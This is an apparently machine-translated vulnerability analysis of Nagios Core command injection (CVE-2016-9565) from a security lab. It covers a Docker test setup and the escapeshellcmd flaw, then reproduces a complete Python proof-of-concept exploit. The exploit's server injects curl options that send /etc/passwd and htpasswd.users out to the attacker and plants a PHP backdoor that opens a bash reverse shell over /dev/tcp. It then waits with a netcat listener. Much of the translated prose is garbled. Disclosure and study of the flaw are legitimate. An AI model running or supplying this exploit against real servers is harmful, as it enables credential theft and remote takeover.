Author: p0wd3r, dawu (know Chong Yu 404 security lab)
Date: 2016-12-15
Nagios is a monitoring of the IT infrastructure program, recently security researchers Dawid Golunski discovered in Nagios Core there is a code execution vulnerability: an attacker first in the disguise of RSS feeds, when victimization the app to get the RSS information when the attacker would construct a malicious data to the victim, the program in the process will be the malicious data is injected into the curl command, and then code execution.
The vulnerability is triggered premise:
https://www.nagios.org
using dns spoofing and other methodsrss-corefeed.php
and rss-newsfeed.php
and rss-corebanner.php
one of the files.A successful attack execute arbitrary code.
Nagios Core < 4.2.2
Dockerfile:
``dockerfile FROM quantumobject/docker-nagios
RUN sed-i ‘99d’ /usr/local/nagios/share/includes/rss/rss_fetch. inc
RUN mkdir /tmp/tmp && chown www-data:www-data /tmp/tmp ``
Then run:
bash docker run-p 80:80 --name nagios-d quantumobject/docker-nagios
Access http://127.0.0.1/nagios
with nagiosadmin:admin
log in
Vulnerability trigger point in/usr/local/nagios/share/includes/rss/extlib/Snoopy. class. inc
the 657 line, the_httpsrequest
function:
``php // version < 4.2.0 exec($this->curl_path." -D "/tmp/$headerfile"“. escapeshellcmd($cmdline_params).” ". escapeshellcmd($URI),$results,$return);
// vserion >= 4.2.0 && version < 4.2.2 exec($this->curl_path." -D "/tmp/$headerfile"“.$ cmdline_params.” "“. escapeshellcmd($URI).”"",$ results,$return); ``
Where the use of the escapeshellcmd
to the command parameterprocessing, escapeshellcmd
of the role are as follows:
The author is intended to prevent multiple execution of the command, but this treatment did not prevent the implantation of a plurality of parametersamples if the$URI
controlled, and then with the curl
of some characteristics can read and write files, and then code execution. (In General to prevent the injection of a plurality of parameters you want to use escapeshellarg, but the function is not absolute security, as detailed in CVE-2015-4642 it.
Because before the burst of the CVE-2008-4796, the code in the 4. 2. 0 version did change, but the patch can be bypassed, as long as we are in the input closed before and after"
.
Below we look at$URI
whether controllable. According to the code logic point of view,_httpsrequet
is usr/local/nagios/share/includes/rss/rss_fetch. inc
in the fetch_rss
function call, so that we create such a test file test.php
to:
``php <? php define(‘MAGPIE_DIR’, ‘./ includes/rss/’); define(‘MAGPIE_CACHE_ON’, 0); define(‘MAGPIE_CACHE_AGE’, 0); define(‘MAGPIE_CACHE_DIR’, ‘/tmp/magpie_cache’); require_once(MAGPIE_DIR.‘rss_fetch. inc’);
fetch_rss(‘https://www.baidu.com --version’); ``
Access http://127.0.0.1/nagios/test.php
after turn on dynamic debugging, we in the exec
function at the lower breakpoint, the call stack is as follows:
$URI
as follows:
Shows the$URI
controlled, and in the incoming process has not been filtered.
Next we need to construct the curl
parameters to get the results we want, here we use Dawid Golunski provide the Exp, it is noted that he provided the code to verify that 4. 2. 0 before version to verify the version greater than or equal to 4. 2. 0 and less than 4. 2. 2, The need for which code is about to change, coupled with the closure needed to double the quotes:
``python
self. redirect(‘https://’ + self. request. host + '/nagioshack" -Fpasswd=@/etc/passwd-Fgroup=@/etc/group-Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ’ + backdoor_path + ‘"’, permanent=False) ``
The Exp of the specific process is as follows:
fetch_rss
to the server to send its requesthttps:// + the attacker's server + payload
, the payload in the use-F
the file content is sent to the server, the--trace-ascii
will flow records to the file, similar to Roundcube RCE in the mail
function of-X
is.description
, add<img src>
description
of the contents of the output to html, and then automatically performs back doorIn order to facilitate verification, we are in the website directory create a exp.php
:
``php <? php define(‘MAGPIE_DIR’, ‘./ includes/rss/’); define(‘MAGPIE_CACHE_ON’, 0); define(‘MAGPIE_CACHE_AGE’, 0); define(‘MAGPIE_CACHE_DIR’, ‘/tmp/magpie_cache’); require_once(MAGPIE_DIR.‘rss_fetch. inc’);
fetch_rss(‘http://172.17.0.3’); ``
Only for validation vulnerability, where we don’t have to parse the XML and then we 172.17.0.3
run on Exp, and then access the http://127.0.0.1/exp.php
you can get the results:
The actual testing Exp in back door code is possible in the log will be truncated resulting in command execution is unsuccessful, recommended to write a brief word:
The real case, the fetch_rss
call as follows:
Visible we can not control the values of the parameters, it can only be by dns spoofing and other means to make the target of the https://www.nagios.org
the access point to the attacker’s server, and then trigger the vulnerability.
4.2.2 version, deleted the includes/
and rss-corefeed.php
and rss-newsfeed.php
and rss-corebanner.php
the.
Upgrade to 4. 2. 2
escapeshellcmd
use manual: <http://php.net/manual/zh/function.escapeshellcmd.php>
"""
This PoC exploit can allow well-positioned attackers to extract and write
arbitrary files on the Nagios server which can lead to arbitrary code execution
on Nagios deployments that follow the official Nagios installation guidelines.
For details, see the full advisory at:
https://legalhackers.com/advisories/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
PoC Video:
https://legalhackers.com/videos/Nagios-Exploit-Command-Injection-CVE-2016-9565-2008-4796.html
Usage:
./nagios_cmd_injection.py reverse_shell_ip [reverse_shell_port]
Disclaimer:
For testing purposes only. Do no harm.
"""
import os
import sys
import time
import re
import tornado.httpserver
import tornado.web
import tornado.ioloop
exploited = 0
docroot_rw = 0
class MainHandler(tornado.web.RequestHandler):
def get(self):
global exploited
if (exploited == 1):
self.finish()
else:
ua = self.request.headers['User-Agent']
if "Magpie" in ua:
print "[+] Received GET request from Nagios server (%s) ! Sending redirect to inject our curl payload:\n" % self.request.remote_ip
print '-Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path + '\n'
self.redirect('https://' + self.request.host + '/nagioshack -Fpasswd=@/etc/passwd -Fgroup=@/etc/group -Fhtauth=@/usr/local/nagios/etc/htpasswd.users --trace-ascii ' + backdoor_path, permanent=False)
exploited = 1
def post(self):
global docroot_rw
print "[+] Success, curl payload injected! Received data back from the Nagios server %s\n" % self.request.remote_ip
# Extract /etc/passwd from the target
passwd = self.request.files['passwd'][0]['body']
print "[*] Contents of /etc/passwd file from the target:\n\n%s" % passwd
# Extract /usr/local/nagios/etc/htpasswd.users
htauth = self.request.files['htauth'][0]['body']
print "[*] Contents of /usr/local/nagios/etc/htpasswd.users file:\n\n%s" % htauth
# Extract nagios group from /etc/group
group = self.request.files['group'][0]['body']
for line in group.splitlines():
if "nagios:" in line:
nagios_group = line
print "[*] Retrieved nagios group line from /etc/group file on the target: %s\n" % nagios_group
if "www-data" in nagios_group:
print "[+] Happy days, 'www-data' user belongs to 'nagios' group! (meaning writable webroot)\n"
docroot_rw = 1
# Put backdoor PHP payload within the 'Server' response header so that it gets properly saved via the curl 'trace-ascii'
# option. The output trace should contain an unwrapped line similar to:
#
# == Info: Server <?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/192.168.57.3/8080 0<&1 2>&1 &'"); ?> is not blacklisted
#
# which will do the trick as it won't mess up the payload :)
self.add_header('Server', backdoor)
# Return XML/feed with JavaScript payload that will run the backdoor code from nagios-backdoor.php via <img src=> tag :)
print "[*] Feed XML with JS payload returned to the client in the response. This should load nagios-backdoor.php in no time :) \n"
self.write(xmldata)
self.finish()
tornado.ioloop.IOLoop.instance().stop()
if __name__ == "__main__":
global backdoor_path
global backdoor
print intro
# Set attacker's external IP & port to be used by the reverse shell
if len(sys.argv) < 2 :
print usage
sys.exit(2)
attacker_ip = sys.argv[1]
if len(sys.argv) == 3 :
attacker_port = sys.argv[1]
else:
attacker_port = 8080
# PHP backdoor to be saved on the target Nagios server
backdoor_path = '/usr/local/nagios/share/nagios-backdoor.php'
backdoor = """<?php system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1 &'"); die("stop processing"); ?>""" % (attacker_ip, attacker_port)
# Feed XML containing JavaScript payload that will load the nagios-backdoor.php script
global xmldata
xmldata = """<?xml version="1.0"?>
<rss version="2.0">
<channel>
<title>Nagios feed with injected JS payload</title>
<item>
<title>Item 1</title>
<description>
<strong>Feed injected. Here we go </strong> -
loading /nagios/nagios-backdoor.php now via img tag... check your netcat listener for nagios shell ;)
<img src="/nagios/nagios-backdoor.php" onerror="alert('Reverse Shell /nagios/nagios-backdoor.php executed!')">
</description>
</item>
</channel>
</rss> """
# Generate SSL cert
print "[+] Generating SSL certificate for our python HTTPS web server \n"
os.system("echo -e '\n\n\n\n\n\n\n\n\n' | openssl req -nodes -new -x509 -keyout server.key -out server.cert 2>/dev/null")
print "[+] Starting the web server on ports 80 & 443 \n"
application = tornado.web.Application([
(r'/.*', MainHandler)
])
application.listen(80)
http_server = tornado.httpserver.HTTPServer(
application,
ssl_options = {
"certfile": os.path.join("./", "server.cert"),
"keyfile": os.path.join("./", "server.key"),
}
)
http_server.listen(443)
print "[+] Web server ready for connection from Nagios (http://target-svr/nagios/rss-corefeed.php). Time for your dnsspoof magic... ;)\n"
tornado.ioloop.IOLoop.current().start()
if (docroot_rw == 1):
print "[+] PHP backdoor should have been saved in %s on the target by now!\n" % backdoor_path
print "[*] Spawning netcat and waiting for the nagios shell\n"
os.system("nc -v -l -p 8080")
print "\n[+] Shell closed\n"
print "[+] That's all. Exiting\n"